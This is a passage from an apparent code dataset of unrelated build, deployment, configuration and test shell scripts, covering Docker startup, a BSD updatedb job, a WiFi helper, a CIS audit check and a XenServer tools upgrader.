$(seq 1 30); do\n is_backend_up && docker-compose exec backend yarn run db:seed && \\\n break || sleep 5 && echo 'waiting for backend to start';\ndone\n\nngrok start -config ./ngrok.yml webapp"} {"text": "containers/analytics/query-engine/entrypoint.sh0\n#!/bin/bash\n\nsource /common.sh\n\npre_start_init\n\nhostip=$(get_listen_ip_for_node ANALYTICS)\n\ncat > /etc/contrail/contrail-query-engine.conf << EOM\n[DEFAULT]\nanalytics_data_ttl=${ANALYTICS_DATA_TTL:-48}\nhostip=${hostip}\nhostname=${DEFAULT_HOSTNAME}\nhttp_server_port=${QUERYENGINE_INTROSPECT_LISTEN_PORT:-$QUERYENGINE_INTROSPECT_PORT}\nlog_file=$LOG_DIR/contrail-query-engine.log\nlog_level=$LOG_LEVEL\nlog_local=$LOG_LOCAL\nmax_slice=${QUERYENGINE_MAX_SLICE:-100}\nmax_tasks=${QUERYENGINE_MAX_TASKS:-16}\nstart_time=${QUERYENGINE_START_TIME:-0}\n# Sandesh send rate limit can be used to throttle system logs transmitted per\n# second. System logs are dropped if the sending rate is exceeded\n# sandesh_send_rate_limit=\ncassandra_server_list=$ANALYTICSDB_CQL_SERVERS\ncollectors=$COLLECTOR_SERVERS\n\n[REDIS]\nport=$REDIS_SERVER_PORT\nserver=127.0.0.1\npassword=$\n\n$sandesh_client_config\nEOM\n\nadd_ini_params_from_env QUERY_ENGINE /etc/contrail/contrail-query-engine.conf\n\nset_third_party_auth_config\nset_vnc_api_lib_ini\n\nexec \"$@\""} {"text": "#!/bin/bash\nset -evx\n\nmkdir ~/.celercore\n\n# safety check\nif [ ! -f ~/.celercore/.celer.conf ]; then\n cp share/celer.conf.example ~/.celercore/celer.conf\nfi"} {"text": "#!/bin/bash\nset -e\n\necho \"Getting the complete Build EAR source code\"\ntmp_dir=`mktemp -d \"Bear.XXXXXXXX\" --tmpdir`\ngit clone https://github.com/rizsotto/Bear.git ${tmp_dir}\nmkdir -p ${tmp_dir}/build\ncd ${tmp_dir}/build\ncmake ..\nmake install\nmake check\nmake package\nrm -rf ${tmp_dir}"} {"text": "cvondratek/bxx-linux\n#!/bin/sh\n\n#############################################################\n# bxx Wifi client helper script\n# -> Interactive script for connecting to WiFi network from\n# on bXX platforms like BeagleClone or BeagleBone\n#\n# Notes:\n# * Tested with rt2500 USB Wifi 802.11n devices\n#\n#############################################################\n\n#config file location\nCFG_FILE=\"/tmp/wpa_supplicant.conf\"\n\n# Wifi interface definition\nIF_WIFI='wlan0'\n\n#udhcpc cmd\nUDHCPC_CMD=\"/sbin/udhcpc -i ${IF_WIFI}&\"\necho $UDHCPC_CMD\n\n# Clean-up after any previous runs of this script\nifconfig ${IF_WIFI} down\nkillall -q wpa_supplicant\nkillall -q wpa_cli\nkillall -q udhcpc\n\n#dust->settle\nsleep 1\n\n# Step 1: See if we have a valid wifi.conf & if not create it\nif [ ! -f \"$CFG_FILE\" ]; then\n\techo \"Enter SSID of the wifi network you want to connect to:\"\n\tread ssid\n\techo \"Enter the passphrase. It will be stored plain-text at $CFG_FILE.\"\n\tread pass\n\techo \"Creating wifi.conf...\"\n\techo \"ctrl_interface=/var/run/wpa_supplicant\"\n\techo \"update_config=1\" > $CFG_FILE\n\techo \"fast_reauth=1\" >> $CFG_FILE\n\techo \"ap_scan=1\" >> $CFG_FILE\n\techo \"network={\" >> $CFG_FILE\n\techo \"\tssid=\\\"${ssid}\\\"\" >> $CFG_FILE\n\techo \"\tpsk=\\\"${pass}\\\"\" >> $CFG_FILE\n\techo \"}\" >> $CFG_FILE\nfi\n\n# Step 2: Start wpa_supplicant & wpa_cli monitor\nwpa_supplicant -i ${IF_WIFI} -B -c ${CFG_FILE}\n\n# Step 3: Make a callback file to run udhcpc when we're connected...\nCLIENT_CB='/tmp/wifi_client-cb.sh'\necho \"#!/bin/sh\" > $CLIENT_CB\necho \"${UDHCPC_CMD}\" >> $CLIENT_CB\nchmod +x $CLIENT_CB\nwpa_cli -Ba $CLIENT_CB"} {"text": "#!/bin/bash\n\nset -e\n\ndotnet restore\n\ndotnet build -c Release src/BetaLixT.Logger/BetaLixT.Logger.csproj"} {"text": "0\nmake run_harness RUN_ARGS=\"--benchmarks=ssd-large,gnmt --scenarios=SingleStream --test-mode=PerformanceOnly\"\nmake update_results"} {"text": "#!/bin/sh\n#\n#\t@(#)updatedb.csh\t4.6.1\t(2.11BSD)\t1996/10/23\n#\nSRCHPATHS=\"/\"\t\t\t# directories to be put in the database\nLIBDIR=/libexec\t\t\t# for subprograms\nFINDHONCHO=root\t\t\t# for error messages\nFCODES=/var/db/find.codes\t# the database\n\nPATH=$LIBDIR:/bin\nbigrams=/tmp/f.bigrams$$\nfilelist=/tmp/f.list$$\nerrs=/tmp/f.errs$$\n\n# Make a file list and compute common bigrams.\n# Alphabetize '/' before any other char with 'tr'.\n# If the system is very short of sort space, 'bigram' can be made\n# smarter to accumulate common bigrams directly without sorting\n# ('awk', with its associative memory capacity, can do this in several\n# lines, but is too slow, and runs out of string space on small machines).\n\nnice +10\nfind ${SRCHPATHS} -print | tr '/' '\\001' | \\\n (sort -f; echo $status > $errs) | \\\n tr '\\001' '/' > $filelist\n$LIBDIR/bigram < $filelist | \\\n (sort; echo $status >> $errs) | uniq -c | sort -nr | \\\n awk '{ if (NR <= 128) print $2 }' | tr -d '\\012' > $bigrams\n\n# code the file list\n\nif grep -s -v 0 $errs\nthen\n\techo 'squeeze error: out of sort space' | mail $FINDHONCHO\nelse\n\t$LIBDIR/code $bigrams < $filelist > $FCODES\n\tchmod 644 $FCODES\n\trm $bigrams $filelist $errs\nfi"} {"text": "#!/usr/bin/env bash\n\n########\n\nRED=\"\\e[31m\"\nGREEN=\"\\e[32m\"\nYELLOW=\"\\e[33m\"\nBLUE=\"\\e[34m\"\nMAGENTA=\"\\e[35m\"\nCYAN=\"\\e[36m\"\n\nRESET=\"\\e[0m\"\n\n########\n\nMSG_DEBUG=\"${MAGENTA}[DEBUG] 👾\"\nMSG_DOCS=\"${CYAN}[DOCS] 📝\"\nMSG_ERROR=\"${RED}[ERROR] 💥\"\nMSG_INFO=\"${BLUE}[INFO] ℹ️ \"\nMSG_OK=\"${GREEN}[OK] ✅\"\nMSG_WARN=\"${YELLOW}[WARN] ⚠️ \"\n\nMSG_END=\"${RESET}\"\n\n########\n\nfunction logger-debug {\n printf '%b\\n' \"${MSG_DEBUG} ${1} ${MSG_END}\"\n}\nexport -f logger-debug\n\nfunction logger-docs {\n printf '%b\\n' \"${MSG_DOCS} ${1} ${MSG_END}\"\n}\nexport -f logger-docs\n\nfunction logger-error {\n printf '%b\\n' \"${MSG_ERROR} ${1} ${MSG_END}\"\n}\nexport -f logger-error\n\nfunction logger-info {\n printf '%b\\n' \"${MSG_INFO} ${1} ${MSG_END}\"\n}\nexport -f logger-info\n\nfunction logger-ok {\n printf '%b\\n' \"${MSG_OK} ${1} ${MSG_END}\"\n}\nexport -f logger-ok\n\nfunction logger-warn {\n printf '%b\\n' \"${MSG_WARN} ${1} ${MSG_END}\"\n}\nexport -f logger-warn"} {"text": "scripts/build.sh\n#!/usr/bin/env bash\nset -e\n\ncd \"$(dirname \"$0\")/../\"\n\ndocker-compose exec -T workspace go build -v -o bin/sms github.com/itsalex/sentry-mattermost-sidecar/cmd/sms"} {"text": "input/qsub.l.sh\n#!/bin/sh\n#PBS -q L\n#PBS -b 16\n#PBS -l memsz_job=3gb\n#PBS -l elapstim_req=00:10:00\n#PBS -l filecap_job=100gb\n#PBS -v OMP_NUM_THREADS=4\n#PBS -m bea\n#PBS -M \n#PBS -w SHOME=\"/S/data06/G6140/e0564/baba/JAGURS_SAMPLE\"\n\n#PBS -v MPIPROGINF=ALL_DETAIL\n\n#PBS -I \"${SHOME}/JAGURS-D_V0197/jagurs,ALL:./\"\n#PBS -I \"${SHOME}/tsun.par,ALL:./\"\n#PBS -I \"${SHOME}/gridfile.dat,ALL:./\"\n#PBS -I \"${SHOME}/test_tgs.txt,ALL:./\"\n#PBS -I \"${SHOME}/bathy.SD01.grd.%06j,%j:./\"\n#PBS -I \"${SHOME}/bathy.SD02.grd.%06j,%j:./\"\n#PBS -I \"${SHOME}/bathy.SD03.grd.%06j,%j:./\"\n#PBS -I \"${SHOME}/bathy.SD04.grd.%06j,%j:./\"\n#PBS -I \"${SHOME}/bathy.SD05.grd.%06j,%j:./\"\n#PBS -I \"${SHOME}/disp.SD01.grd.%06j,%j:./\"\n#PBS -I \"${SHOME}/disp.SD02.grd.%06j,%j:./\"\n#PBS -I \"${SHOME}/disp.SD03.grd.%06j,%j:./\"\n#PBS -I \"${SHOME}/disp.SD04.grd.%06j,%j:./\"\n#PBS -I \"${SHOME}/disp.SD05.grd.%06j,%j:./\"\n\n#PBS -O \"${SHOME}/output.%r/,ALL:./\"\n\nmpirun -nnp 1 ./jagurs par=tsun.par"} {"text": "files/wireshark_handler.sh\n\n\n\n##Aquisição do PATH do arquivo\n[ \"$UID\" -eq 0 ] || exec sudo bash \"$0\" \"$@\"\nfile=$(which eve-ng-integration)\n\n\n\nsudo echo \"#!/usr/bin/env python\n# See https://github.com/SmartFinn/eve-ng-integration\n\nfrom __future__ import print_function\nfrom subprocess import Popen, PIPE\n\nimport os\nimport sys\n\n\nclass Terminal(object):\n def __init__(self):\n self.current_desktop = os.getenv('XDG_CURRENT_DESKTOP')\n self.override_terminal = os.getenv('OVERRIDE_TERMINAL_CMD')\n\n def _is_command(self, command):\n for path in os.getenv('PATH', '').split(':'):\n if os.path.exists(os.path.join(path, command)) and \\\n os.access(os.path.join(path, command), os.X_OK):\n return True\n return False\n\n def _current_desktop(self, *desktops):\n if self.current_desktop is not None:\n current = self.current_desktop.lower()\n for desktop in desktops:\n if desktop in current:\n return True\n return False\n\n def _terminal_emulator_cmd(self):\n if self.override_terminal:\n return self.override_terminal.split()\n elif self._is_command('x-terminal-emulator'):\n return ['x-terminal-emulator', '-e']\n elif self._current_desktop('cinnamon', 'gnome', 'unity'):\n return ['gnome-terminal', '-e']\n elif self._current_desktop('kde'):\n return ['konsole', '-e']\n elif self._current_desktop('lxde', 'lxqt'):\n return ['lxterminal', '-e']\n elif self._current_desktop('mate'):\n return ['mate-terminal', '-e']\n elif self._current_desktop('pantheon'):\n return ['pantheon-terminal', '-e']\n elif self._current_desktop('xfce'):\n return ['xfce4-terminal', '-e']\n elif self._is_command('urxvt'):\n return ['urxvt', '-e']\n else:\n return ['xterm', '-e']\n\n def execute(self, command):\n if isinstance(command, (str)):\n command = command.split('\\n')\n\n term = self._terminal_emulator_cmd()\n\n Popen(term + command)\n\n\ndef main(argv):\n try:\n from urllib.parse import urlparse\n except ImportError:\n from urlparse import urlparse\n\n url = urlparse(argv)\n term = Terminal()\n\n data = {\n 'host': url.hostname or 'localhost',\n 'port': url.port or '',\n 'path': url.path.lstrip('/') or '',\n }\n\n if url.scheme == 'capture':\n cmd = 'ssh -p 2266 -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no \\\n -l eve {host} sudo tcpdump -i {path} -n -s 0 -U -w -'.format(**data)\n wireshark_cmd = 'wireshark -k -i -'\n\n tcpdump = Popen(cmd.split(), stdout=PIPE, preexec_fn=os.setsid)\n wireshark = Popen(wireshark_cmd.split(), stdin=tcpdump.stdout)\n wireshark.communicate()\n elif url.scheme == 'docker':\n cmd = 'docker -H {host}:{port} attach {path}'.format(**data)\n\n term.execute(cmd)\n elif url.scheme == 'telnet':\n cmd = 'telnet {host} {port}'.format(**data)\n\n term.execute(cmd)\n else:\n return '{}: The protocol {} is not supported.'.format(url.geturl(),\n url.scheme)\n\n\nif __name__ == '__main__':\n try:\n sys.exit(main(sys.argv[1]))\n except IndexError:\n print('usage:', __file__, '', file=sys.stderr)\n sys.exit(1)\n\" > $file"} {"text": "#!/bin/bash\nset -e\n\nnohup etcd > test_etcd_client_etcd.log 2>&1 &\npid=$!\n\nunset https_proxy http_proxy\npython -u ./etcd_client_test.py\n\nkill -9 $pid"} {"text": "#!/bin/bash\n\nrm -rf *.o *.lo *.so\ngcc -c -w -fPIC lpm.c log.c hmappriv.c memcached_client.c\ngcc -shared -o liblpm.so lpm.o log.o hmappriv.o memcached_client.o -lmemcached -lm -ldl\nLD_PRELOAD=./liblpm.so /usr/bin/touch file\n#LD_PRELOAD=./liblpm.so /bin/ln -s file file_ln\n#LD_PRELOAD=./liblpm.so /bin/mv file file.log\n#LD_PRELOAD=./liblpm.so /bin/rm file_ln\n#LD_PRELOAD=./liblpm.so /bin/rm file.log\n#LD_PRELOAD=./liblpm.so /bin/mkdir a \n#LD_PRELOAD=./liblpm.so /bin/rmdir a"} {"text": "lang/shell/bash/functions/common/i/install-bat.sh1-10\n#!/usr/bin/env bash\n\nkoopa_install_bat() {\n koopa_install_app \\\n --link-in-bin='bin/bat' \\\n --name='bat' \\\n --installer='rust-package' \\\n \"$@\"\n}"} {"text": "#!/bin/bash\n\nset -x\n\n: ${PARCEL_REPO:=/opt/cloudera/parcel-repo}\n\nparcels=(\"$PARCEL_REPO\"/*.parcel)\n\nfor parcel in \"${parcels[@]}\"; do\n\tif [[ -f \"${parcel}.torrent\" ]]; then\n\t\techo \"$parcel torrent already exists, skip\"\n\telse\n\t\tmktorrent -l 19 -v -p -a \"\" -o \"${parcel}.torrent\" \"${parcel}\"\n\t\ttouch \"${parcel}\".skiphash\n\t\trm -f \"${parcel}\"\n\t\ttouch \"${parcel}\"\n\tfi\ndone\n\nchown -R cloudera-scm:cloudera-scm ${PARCEL_REPO}\n\necho \"Torrent creation successful\" >> /tmp/create_torrent.status"} {"text": "#!/bin/bash\n\nwhich dotnet > /dev/null\n\nif [ $? -ne 0 ]; then\n\techo \"dotnet not available.\"\n\texit\nfi;"} {"text": "0\n#!/bin/sh\n\nCOPYFILE_DISABLE=1 tar -cf sample.tar _manifest.json _index.json chapters images"} {"text": "llvm-libcxxabi-2017-01-27/build.sh\n#!/bin/bash\n# Copyright 2016 Google Inc. All Rights Reserved.\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n. $(dirname $0)/../custom-build.sh $1 $2\n. $(dirname $0)/../common.sh\n\nget_svn_revision http://llvm.org/svn/llvm-project/libcxxabi/trunk 293329 SRC\nbuild_fuzzer\n\nif [[ $FUZZING_ENGINE == \"hooks\" ]]; then\n # Link ASan runtime so we can hook memcmp et al.\n LIB_FUZZING_ENGINE=\"$LIB_FUZZING_ENGINE -fsanitize=address\"\nfi\n$CXX $CXXFLAGS -std=c++11 SRC/fuzz/cxa_demangle_fuzzer.cpp SRC/src/cxa_demangle.cpp -I SRC/include \\\n $LIB_FUZZING_ENGINE -o $EXECUTABLE_NAME_BASE"} {"text": "# Cannot build with PIE as symbols (e.g. `__libc_csu_fini`) cannot be used.\nif [ \"$(uname)\" == \"Linux\" ] && [ \"${c_compiler}\" == \"gcc\" ]\nthen\n export CFLAGS=\"${CFLAGS} -fno-pie -no-pie\"\n export CXXFLAGS=\"${CFLAGS} -fno-pie -no-pie\"\nfi\n\n./configure --prefix=\"${PREFIX}\" \\\n --enable-pic\nmake\nmake install"} {"text": "uninstallApk.sh\nadb uninstall com.blockeq.stellarwallet\nadb uninstall com.blockeq.stellarwallet.test"} {"text": "deflax/steinvord\n#!/bin/bash\n\nuntil /home/steinvord/steinvord/steinvord.py; do\n echo \"Steinvord crashed with exit code $?. Respawning..\" >&2\n sleep 1\ndone"} {"text": "JozeFe/open-sandboxsandbox-scripts/nginx/nginx-docker-testing.sh\n#!/usr/bin/env bash\n\n# nginx docker bash testing start\ndocker run --rm -it -p 80:80 nginx-static-example bash\n\n# preparation - volume copy\ndocker run --rm -it -v /c/tmp/etc_nginx:/tmp -p 80:80 nginx-static-example cp -a /etc/nginx/. /tmp/\ndocker run --rm -it -v /tmp/tmp/etc_nginx:/tmp -p 80:80 nginx-static-example cp -a /etc/nginx/. /tmp/\n\n# local config test with minimal-rest api\ndocker network create test\ndocker run --name nginx --network test --rm -it -v /c/tmp/etc_nginx:/etc/nginx -p 80:80 nginx-static-example bash\ndocker run --name rest1 -d --network test minimal-rest\ndocker run --name rest2 -d --network test minimal-rest"} {"text": "config/zsh/zshenv.d/vagrant.zsh\nexport VAGRANT_HOME=\"${XDG_DATA_HOME}/vagrant\"\nexport VAGRANT_ALIAS_FILE=\"${XDG_DATA_HOME}/vagrant/aliases\""} {"text": "pip install dash==0.21.0 # The core dash backend\npip install dash-renderer==0.12.1 # The dash front-end\npip install dash-html-components==0.10.0 # HTML components\npip install dash-core-components==0.22.1 # Supercharged components\npip install plotly --upgrade # Latest Plotly graphing library"} {"text": "#!/bin/sh\n\nsource _venv/bin/activate\npython -m api"} {"text": "#!/bin/bash\n# Copyright (c) 2014 The Native Client Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nSCRIPT_DIR=$(dirname \"${BASH_SOURCE}\")\nCONFIGURE_SCRIPT=$1\nshift 1\nset -e\n\n\"${SCRIPT_DIR}/patch_configure.py\" \"${CONFIGURE_SCRIPT}\"\n\nif [ -z \"${NACL_CROSS_PREFIX}\" ]; then\n WEBPORTS_ENV_IMPORT=1\n . \"${SCRIPT_DIR}/webports-env.sh\"\nfi\n\n# TODO(sbc): this code is currently duplicated in common.sh.\nPatchConfigSub() {\n # Replace the package's config.sub one with an up-do-date copy\n # that includes nacl support. We only do this if the string\n # 'nacl)' is not already contained in the file.\n local DEFAULT_CONFIG_SUB=\"$(dirname ${CONFIGURE_SCRIPT})/config.sub\"\n local CONFIG_SUB=${CONFIG_SUB:-${DEFAULT_CONFIG_SUB}}\n if [ ! -f ${CONFIG_SUB} ]; then\n if [ -n \"${CONFIG_SUB_MISSING}\" ]; then\n return\n fi\n echo \"Failed to find config.sub (${CONFIG_SUB}).\"\n echo \"Please specify using \\$CONFIG_SUB.\"\n exit 1\n fi\n if grep -q 'nacl)' ${CONFIG_SUB} /dev/null; then\n echo \"${CONFIG_SUB} supports NaCl\"\n else\n echo \"Patching config.sub\"\n /bin/cp -f ${SCRIPT_DIR}/config.sub ${CONFIG_SUB}\n fi\n}\n\nPatchConfigSub\n\nCONF_HOST=${NACL_CROSS_PREFIX}\nif [ \"${NACL_ARCH}\" = \"pnacl\" -o \"${NACL_ARCH}\" = \"emscripten\" ]; then\n # The PNaCl tools use \"pnacl-\" as the prefix, but config.sub\n # does not know about \"pnacl\". It only knows about \"le32-nacl\".\n # Unfortunately, most of the config.subs here are so old that\n # it doesn't know about that \"le32\" either. So we just say \"nacl\".\n CONF_HOST=\"nacl\"\nfi\n\nNaClEnvExport\necho \"${CONFIGURE_SCRIPT}\" --host=${CONF_HOST} --prefix=${NACL_PREFIX} \"$@\"\nexec \"${CONFIGURE_SCRIPT}\" --host=${CONF_HOST} --prefix=${NACL_PREFIX} \"$@\""} {"text": "#!/bin/zsh\n\nscript_dir=$(dirname ${0:A})\nprojectfolder=$(dirname $script_dir)\n\nsource ${projectfolder}/Header.sh\n\nCISLevel=\"1\"\naudit=\"5.1.5 Ensure Sealed System Volume (SSV) Is Enabled (Automated)\"\norgScore=\"OrgScore5_1_5\"\nemptyVariables\n# Verify organizational score\nrunAudit\n# If organizational score is 1 or true, check status of client\nif [[ \"${auditResult}\" == \"1\" ]]; then\n\tmethod=\"Script\"\n\tremediate='Script > sudo /usr/bin/csrutil authenticated-root enable'\n\n\tauthenticatedRoot=\"$(csrutil authenticated-root | /usr/bin/grep -c 'enabled')\"\n\tif [[ \"${authenticatedRoot}\" == \"1\" ]]; then\n\t\tresult=\"Passed\"\n\t\tcomment=\"Authenticated Root: Enabled\"\n\telse \n\t\tresult=\"Failed\"\n\t\tcomment=\"Authenticated Root: Disabled\"\n\t\t# Remediation\n\t\tif [[ \"${remediateResult}\" == \"enabled\" ]]; then\n\t\t\tcsrutil authenticated-root enable\n\t\t\t# re-check\n\t\t\tauthenticatedRoot=\"$(csrutil authenticated-root | /usr/bin/grep -c 'enabled')\"\n\t\t\tif [[ \"${authenticatedRoot}\" == \"1\" ]]; then\n\t\t\t\tresult=\"Passed After Remediation\"\n\t\t\t\tcomment=\"Authenticated Root: Enabled\"\n\t\t\telse\n\t\t\t\tresult=\"Failed After Remediation\"\n\t\t\tfi\n\t\tfi\n\tfi\nfi\nprintReport"} {"text": "#!/bin/bash\n\nsudo docker rmi loadtestingAPI\nsudo docker build . -t loadtesting\n\nread"} {"text": "keyongyu/models\n#!/usr/bin/env bash\n\nif [ \"$1\" == '' ] || [ \"$2\" == '' ] || [ \"$3\" == '' ] \nthen\n echo \"Usage: $0 train_dir seq_no dest_pb_file\"\n exit\nfi\n\n#TRAIN_DIR=\"/home/keyong/Documents/ssd/train_dir\"\n#SEQ_NO=\"120341\"\nTRAIN_DIR=$1\nSEQ_NO=$2\nOPT_PB_FILE=$3\necho python ~/Documents/gits/models/research/object_detection/export_inference_graph.py --input_type \\\nimage_tensor --pipeline_config_path \"$TRAIN_DIR/pipeline.config\" --trained_checkpoint_prefix \\\n\"$TRAIN_DIR/model.ckpt-$SEQ_NO\" --output_dir /tmp/my.pb\n\npython ~/Documents/gits/models/research/object_detection/export_inference_graph.py \\\n--pipeline_config_path \"$TRAIN_DIR/pipeline.config\" --trained_checkpoint_prefix \\\n\"$TRAIN_DIR/model.ckpt-$SEQ_NO\" --input_type image_tensor --output_dir /tmp/my.pb \\\n\ntransform_graph --in_graph=/tmp/my.pb/frozen_inference_graph.pb --out_graph=\"$OPT_PB_FILE\" --inputs='image_tensor' --outputs='detection_boxes,detection_scores,detection_classes,num_detections' --transforms='fold_constants(ignore_errors=true) fold_batch_norms fold_old_batch_norms strip_unused_nodes'\n\nrm -fr /tmp/my.pb"} {"text": "docker-bench/run.sh10-100\n#!/bin/sh\n\ndocker run -it --net host --pid host --userns host --cap-add audit_control \\\n -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \\\n -v /var/lib:/var/lib \\\n -v /var/run/docker.sock:/var/run/docker.sock \\\n -v /etc:/etc --label docker_bench_security \\\n docker/docker-bench-security"} {"text": "#!/usr/local/bin/bash\n\nbattery() {\n charge=$(acpiconf -i 0 | grep % | awk '{print $3}' | sed 's/%//')\n chargeicon=\"\"\n chargeiconcolor=\"^fg(#ffffff)\"\n chargestate=$(acpiconf -i 0 | grep State: | awk '{print $2}' | sed 's/%//')\n if [[ ${chargestate} != \"discharging\" ]]\n then\n chargeiconcolor=\"^fg(#00cc00)\"\n elif [[ ${chargestate} = \"discharging\" ]] && [[ ${charge} -lt 25 ]]\n then\n chargeiconcolor=\"^fg(#cc0000)\"\n fi \n\n if [[ ${charge} -lt 100 ]] && [[ ${charge} -gt 74 ]]\n then\n chargeicon=\"\"\n elif [[ ${charge} -lt 75 ]] && [[ ${charge} -gt 49 ]]\n then\n chargeicon=\"\"\n elif [[ ${charge} -lt 50 ]] && [[ ${charge} -gt 24 ]]\n then\n chargeicon=\"\"\n elif [[ ${charge} -lt 25 ]] && [[ ${charge} -gt 0 ]]\n then\n chargeicon=\"\"\n elif [[ ${charge} = 100 ]]\n then\n chargeicon=\"\"\n elif [[ ${charge} = 0 ]]\n then\n chargeicon=\"\"\n else\n chargeicon=\"N/A\"\n fi \n\n echo \"$charge% ^fn(DroidSansMonoForPowerline Nerd Font:size=22)^p(;-1)$chargeiconcolor$chargeicon ^fg($fgcolor)\"\n return\n}\n\nwhile :; do\n buf=\"\"\n buf=\"${buf} ^pa(1840)$(battery)\"\n\n echo $buf\n sleep 1\ndone | dzen2 -h 28 -w 1920 -fn 'Roboto Medium:size=13' -ta l -e \"button7=exit\""} {"text": "johnkeeping/chpersroot\n#!/bin/sh\n\ncd \"$(dirname \"$0\")\"\n\nn_passed=0\nn_failed=0\n\n_run_success_test() {\n\techo \"$2\" >\"test.$$.ini\" &&\n\techo \"$5\" >\"test.$$.expected\" &&\n\t./initest \"test.$$.ini\" \"$3\" \"$4\" >\"test.$$.actual\" &&\n\tdiff -u \"test.$$.expected\" \"test.$$.actual\" &&\n\trm -f \"test.$$.\"*\n}\n\ntest_expect_success() {\n\tif _run_success_test \"$@\"\n\tthen\n\t\techo \"test passed: $1\"\n\t\tn_passed=$((n_passed + 1))\n\telse\n\t\techo \"test failed: $1\"\n\t\tn_failed=$((n_failed + 1))\n\tfi\n}\n\ntest_expect_success 'simple ini file' '\n[gentoo32]\n\trootdir = foo bar' gentoo32 rootdir 'foo bar'\n\ntest_expect_success 'initial comment' '\n; This is a comment!\n[gentoo32]\n\trootdir = foo bar' gentoo32 rootdir 'foo bar'\n\ntest_expect_success 'comment after section' '\n[gentoo32] ; comment\n\trootdir = foo bar' gentoo32 rootdir 'foo bar'\n\ntest_expect_success 'comment after value' '\n[gentoo32]\n\trootdir = foo bar ; comment' gentoo32 rootdir 'foo bar'\n\ntest_expect_success 'comment on line' '\n[gentoo32]\n\t; This is a comment\n\trootdir = foo bar' gentoo32 rootdir 'foo bar'\n\ntest_expect_success 'sq value' \"\n[gentoo32]\n\trootdir = 'foo bar ; comment'\" gentoo32 rootdir 'foo bar ; comment'\n\ntest_expect_success 'dq value' '\n[gentoo32]\n\trootdir = \"foo bar ; comment\"' gentoo32 rootdir 'foo bar ; comment'\n\ntest_expect_success 'continued value' '\n[gentoo32]\n\trootdir = foo \\\nbar' gentoo32 rootdir 'foo bar'\n\ntest_expect_success 'second section' '\n[gentoo32]\n\trootdir = \"foo bar\"\n; Comment preceding section 2\n[section two]\n\trootdir = /jail' 'section two' rootdir '/jail'\n\n\nprintf '%d/%d passed\\n' $n_passed $((n_passed + n_failed))\ntest $n_failed = 0"} {"text": "#!/bin/zsh\n\necho \"Updating package and repository references...\"\n\nOLD_PACKAGE_SCOPE=\"@themer/\"\nNEW_PACKAGE_SCOPE=\"@themerdev/\"\n\nOLD_REPO_PATH=\"mjswensen/themer\"\nNEW_REPO_PATH=\"themerdev/themer\"\n\nPACKAGES_DIR=\"$(realpath \"$(dirname $0:A)/../packages\")\"\nPACKAGE=\"$PACKAGES_DIR/$1\"\n\nfind \\\n $PACKAGE \\\n -type f \\\n | xargs \\\n --replace=__FILE__ \\\n sed \\\n --in-place \\\n --expression=\"s|$OLD_PACKAGE_SCOPE|$NEW_PACKAGE_SCOPE|g\" \\\n --expression=\"s|$OLD_REPO_PATH|$NEW_REPO_PATH|g\" \\\n __FILE__\n\njq \".repository = .repository + {directory:\\\"cli/packages/$1\\\"}\" \\\n < $PACKAGE/package.json \\\n > $PACKAGE/new.package.json\nmv $PACKAGE/new.package.json $PACKAGE/package.json\n\necho \"Staging changed files...\"\ngit add -- $PACKAGE\n\necho \"TODO: review staged diffs\"\nread \"READY?Ready ('y' to proceed)? \"\n[[ $READY != 'y' ]] && exit 1\n\necho \"Comitting...\"\ngit commit -m \"Move $1 to @themerdev\"\n\nread \"OTP?npm OTP: \"\n\necho \"Publishing to npm...\"\nnpm publish $PACKAGE --access public --otp $OTP\n\necho \"Tagging commit...\"\nVERSION=\"$(jq --raw-output '.version' < $PACKAGE/package.json)\"\ngit tag \"$NEW_PACKAGE_SCOPE$1-v$VERSION\"\n\necho \"Deprecating old package...\"\nnpm deprecate \"$OLD_PACKAGE_SCOPE$1\" \"Moved to $NEW_PACKAGE_SCOPE$1\" --otp $OTP"} {"text": "#!/bin/bash\n\n. /etc/xensource-inventory\niso_name=/opt/xensource/packages/iso/xs-tools-${PRODUCT_VERSION}.iso\n\nskip_vm()\n{\n local vm=$1\n\n #\n # skip if the vm is not started\n #\n local powerstate=`xe vm-param-get uuid=$vm param-name=power-state`\n if [ \"$powerstate\" != \"running\" ] ; then\n echo \" skipping since vm is not running.\"\n return 1\n fi\n \n #\n # Skip if there is a PV boot loader meaning this is not an HVM domain\n #\n local pvbootloader=`xe vm-param-get uuid=$vm param-name=PV-bootloader 2> /dev/null`\n if [ \"$pvbootloader\" != \"\" ] ; then\n echo \" skipping since this is a para-virtualized domain (not windows).\"\n return 1\n fi\n\n #\n # Skip if the windows pv tools are already up to date.\n #\n local uptodate=`xe vm-param-get uuid=$vm param-name=PV-drivers-up-to-date`\n if [ \"$uptodate\" == \"true\" ] ; then\n echo \" skipping since windows pv tools are already up to date.\"\n return 1\n fi\n\n local pvmajor=`xe vm-param-get uuid=$vm param-name=PV-drivers-version param-key=major 2> /dev/null`\n local pvminor=`xe vm-param-get uuid=$vm param-name=PV-drivers-version param-key=minor 2> /dev/null`\n if [[ \"$pvmajor\" == \"\" && \"$pvminor\" == \"\" ]] ; then\n echo \" skipping since no windows pv tools are installed.\"\n return 1\n fi \n\n if [[ \"$pvmajor\" < 4 ]] ; then\n echo \" skipping since the windows tools installed are too old to be auto-upgraded.\"\n return 1\n fi\n\n return 0\n}\n\nmain()\n{\n local vms=`xe vm-list --minimal`\n\n mkdir -p /root/xensetup 2> /dev/null\n mount -o loop $iso_name /root/xensetup 2> /dev/null\n\n for vm in `echo $vms | sed 's/,/ /g'` ; do\n local name=`xe vm-param-get uuid=$vm param-name=name-label`\n echo \"\"\n echo \"Processing $name...\"\n \n skip_vm $vm\n if [ $? == 0 ] ; then\n local domid=`xe vm-param-get uuid=$vm param-name=dom-id`\n echo \" updating windows pv tools for $domid\"\n /opt/xensource/libexec/rexec_client $domid \"xensetup.exe /S\" < /root/xensetup/xensetup.exe\n fi\n\n done\n\n umount /root/xensetup 2> /dev/null\n rmdir -p /root/xensetup 2> /dev/null\n}\n\nif [ \"$1\" != \"-q\" ] ; then\n echo \"Driver auto-upgrade is experimental and unsupported in this version of XenServer\"\nfi\n\nmain"} {"text": "1-10\n#!/bin/bash\n\n# This script:\n# 1. Start TA2 in server mode\n# 2. Runs dummy_ta3 client to connect to TA2\n# 3. Generate prediction for each TA2 pipeline\n# 4. Generate score for each prediction\n\n# 1. Start TA2 in server mode\n/user_opt/d3mStart.sh &> 